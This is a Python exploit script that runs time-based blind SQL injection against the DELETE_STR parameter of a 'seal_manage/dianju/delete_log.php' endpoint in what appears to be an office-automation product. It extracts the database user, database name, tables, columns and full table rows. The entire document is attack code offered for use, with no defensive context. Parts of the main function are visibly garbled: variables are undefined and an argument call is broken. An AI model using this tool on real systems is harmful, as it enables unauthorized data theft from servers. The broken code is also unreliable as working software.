1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377
| import requests import time import argparse from urllib.parse import urljoin, quote
PATH = "general/system/seal_manage/dianju/delete_log.php?DELETE_STR="
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*()+-" def blind_extract(url, headers, payload_generator, characters, max_length=30, delay_threshold=2, is_column_name=False, row_index=None, column_name=None): """ 通用的盲注提取函数 (使用时间基检测). :param url: 目标 URL :param headers: 请求头 :param payload_generator: 生成 payload 的函数, 接受位置 i 和字符 c :param characters: 字符集 :param max_length: 最大提取长度 :param delay_threshold: 时间延迟阈值(秒) :param is_column_name: 指示当前是否正在提取列名 :param row_index: 当前提取的行号 (如果适用) :param column_name: 当前提取的列名 (如果适用) :return: 提取的结果字符串, 如果在第一个位置就找不到字符则返回空字符串 "" """ result = "" if is_column_name: print(f"Extracting column name...") elif row_index is not None and column_name: print(f"Extracting data for row {row_index}, column '{column_name}'...") else: print("Starting extraction...") request_timeout = delay_threshold + 2 for i in range(1, max_length + 1): found_char_at_pos = False for c in characters: payload = payload_generator(i, c) try: start_time = time.time() res = requests.get(url + quote(payload), headers=headers, timeout=request_timeout) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= delay_threshold: result += c if is_column_name: print(f"\rFound column name part: {result.ljust(max_length)}", end="") elif row_index is not None and column_name: print(f"\rFound data part at row {row_index}, col '{column_name}': {result.ljust(max_length)}", end="") else: print(f"\rFound part: {result.ljust(max_length)}", end="") found_char_at_pos = True break except requests.exceptions.Timeout: pass except requests.exceptions.RequestException as e: print(f"\n Error for char '{c}': {e}. Payload: {url + quote(payload)}") time.sleep(0.5) if not found_char_at_pos: print() return result def get_table_name(url, headers, db_name, table_index, delay_threshold): """ 从指定数据库中提取单个表名. :param url: 目标 URL :param headers: 请求头 :param db_name: 数据库名称 :param table_index: 要提取的表的索引 (从 0 开始) :param delay_threshold: 时间延迟阈值 :return: 表名, 如果未找到则返回 "" """ heavy_subquery = "(select count(*) from information_schema.columns A,information_schema.columns B)" target_expression = f"(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=0x{db_name.encode('utf-8').hex()} LIMIT {table_index},1)" payload_generator = ( lambda i, c: f"1) and (substr({target_expression},{i},1))=char({ord(c)}) and {heavy_subquery} and(1)=(1" ) print(f"Attempting to extract table name at index {table_index} from database '{db_name}'...") table_name = blind_extract( url, headers, payload_generator, characters, delay_threshold=delay_threshold ) return table_name def get_column_names(url, headers, db_name, table_name, delay_threshold): """ 从指定数据库和表中提取所有列名. :param url: 目标 URL :param headers: 请求头 :param db_name: 数据库名称 :param table_name: 表名 :param delay_threshold: 时间延迟阈值 :return: 列名列表 """ heavy_subquery = "(select count(*) from information_schema.columns A,information_schema.columns B)" column_names = [] column_index = 0 print(f"Attempting to extract column names from table '{db_name}.{table_name}'...") while True: target_expression = f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA=0x{db_name.encode('utf-8').hex()} AND TABLE_NAME=0x{table_name.encode('utf-8').hex()} LIMIT {column_index},1)" payload_generator = ( lambda i, c: f"1) and (substr({target_expression},{i},1))=char({ord(c)}) and {heavy_subquery} and(1)=(1" ) column_name = blind_extract( url, headers, payload_generator, characters, delay_threshold=delay_threshold, is_column_name=True ) if column_name: print(f"Found column {column_index}: {column_name}") column_names.append(column_name) column_index += 1 else: print("Finished extracting column names.") break return column_names def get_table_data(url, headers, db_name, table_name, delay_threshold): """ 从指定数据库和表中提取所有数据. :param url: 目标 URL :param headers: 请求头 :param db_name: 数据库名称 :param table_name: 表名 :param delay_threshold: 时间延迟阈值 :return: 一个包含表数据的列表的列表 (table_data) 和列名列表 (column_names) """ heavy_subquery = "(select count(*) from information_schema.columns A,information_schema.columns B)" column_names = get_column_names(url, headers, db_name, table_name, delay_threshold) if not column_names: print(f" Error: Unable to retrieve column names for table '{table_name}'. Cannot extract data.") return [], [] table_data = [] row_index = 0 print(f"Attempting to extract data from table '{db_name}.{table_name}'...") while True: row_data = [] is_row_empty = True print(f"--- Extracting Row {row_index} ---") for column_name in column_names: target_expression = f"(SELECT `{column_name}` FROM `{db_name}`.`{table_name}` LIMIT {row_index},1)" payload_generator = ( lambda i, c: f"1) and (substr({target_expression},{i},1))=char({ord(c)}) and {heavy_subquery} and(1)=(1" ) cell_data = blind_extract( url, headers, payload_generator, characters, delay_threshold=delay_threshold, row_index=row_index, column_name=column_name ) row_data.append(cell_data) if cell_data: all_cells_are_empty_strings = all(cell == "" for cell in row_data) if all_cells_are_empty_strings: print(f"\n--- Row {row_index} appears empty or does not exist. Stopping data extraction. ---") break table_data.append(row_data) print(f"\n--- Finished Row {row_index} ---") row_index += 1 return table_data, column_names def print_table_data(table_data, column_names, table_name=""): """ 以表格形式打印数据. :param table_data: 包含表数据的列表的列表 :param column_names: 列名列表 :param table_name: 表名 (可选,用于显示表名) """ if not table_data: print("No data to display.") return print("-" * 40) if table_name: print(f"Data from Table: {table_name}") else: print("Data:") print("-" * 40) column_widths = [len(name) for name in column_names] for row in table_data: for i, cell in enumerate(row): if i < len(column_widths): column_widths[i] = max(column_widths[i], len(str(cell))) separator = "+" + "+".join("-" * (width + 2) for width in column_widths) + "+" print(separator) header = "|" + "|".join( f" {name:<{column_widths[i]}} " for i, name in enumerate(column_names) ) + "|" print(header) print(separator) for row in table_data: row_str = "|" + "|".join( f" {str(cell):<{column_widths[i]}} " for i, cell in enumerate(row) if i < len(column_widths) ) + "|" print(row_str) print(separator) def main(): parser = argparse.ArgumentParser( description="Script for (time-based) blind SQL injection information extraction via a specified URL" ) parser.add_argument( "-u", "--url", required=True, help="Target base URL, e.g., http://192.168.28.144/" parser.add_argument( "action", choices=["user", "db", "tables", "data"], help="Query action: user/db/tables/data", ) parser.add_argument("-d", "--db", help="Specify database name (for tables/data)") parser.add_argument("-t", "--table", help="Specify table name (for data)") "-ri", "--row_index", type=int, help="[DEPRECATED] Specify row index (starts from 0, for data)", ) parser.add_argument( "-c", "--column", help="[DEPRECATED] Specify column name (for data)" ) parser.add_argument( "--delay", type=float, default=2.0, help="Time delay threshold in seconds (default 2.0)" ) args = parser.parse_args() if not base_url.endswith('/'): base_url += '/' full_url = urljoin(base_url, PATH) print(f"Target URL: {full_url}") print(f"Using time delay threshold: {args.delay} seconds") heavy_subquery = "(select count(*) from information_schema.columns A,information_schema.columns B)" def create_payload_generator(target_expression): if args.action == "user": print("Attempting to extract database USER...") payload_generator = create_payload_generator(target_expression) result = blind_extract( full_url, headers, payload_generator, characters, delay_threshold=args.delay ) print("\nExtraction complete.") print("Database User:", result) elif args.action == "db": print("Attempting to extract database NAME...") payload_generator = create_payload_generator(target_expression) result = blind_extract( full_url, headers, payload_generator, characters, delay_threshold=args.delay ) print("\nExtraction complete.") print("Database Name:", result) elif args.action == "tables": if not args.db: print("Error: -d/--db parameter is required for 'tables' action") return db = args.db print(f"Attempting to extract all table names from database '{db}'...") table_names = [] table_index = 0 while True: table_name = get_table_name(full_url, headers, db, table_index, args.delay) if table_name: table_names.append(table_name) print(f"Found table {table_index}: {table_name}") table_index += 1 else: print("Finished extracting table names.") break print("\nExtraction complete.") print(f"Table names in DB '{args.db}':", table_names) elif args.action == "data": if not args.db or not args.table: print("Error: -d/--db and -t/--table parameters are required for 'data' action") return db = args.db table = args.table print(f"Attempting to extract all data from table '{db}.{table}'...") table_data, column_names = get_table_data( full_url, headers, db, table, args.delay ) print("\nExtraction complete.") if table_data: print_table_data( table_data, column_names, table_name=f"{db}.{table}" ) else: print(f"No data found in table '{db}.{table}' or an error occurred during extraction.") else: print(f"Error: Unknown action '{args.action}'") return if __name__ == "__main__": main()
|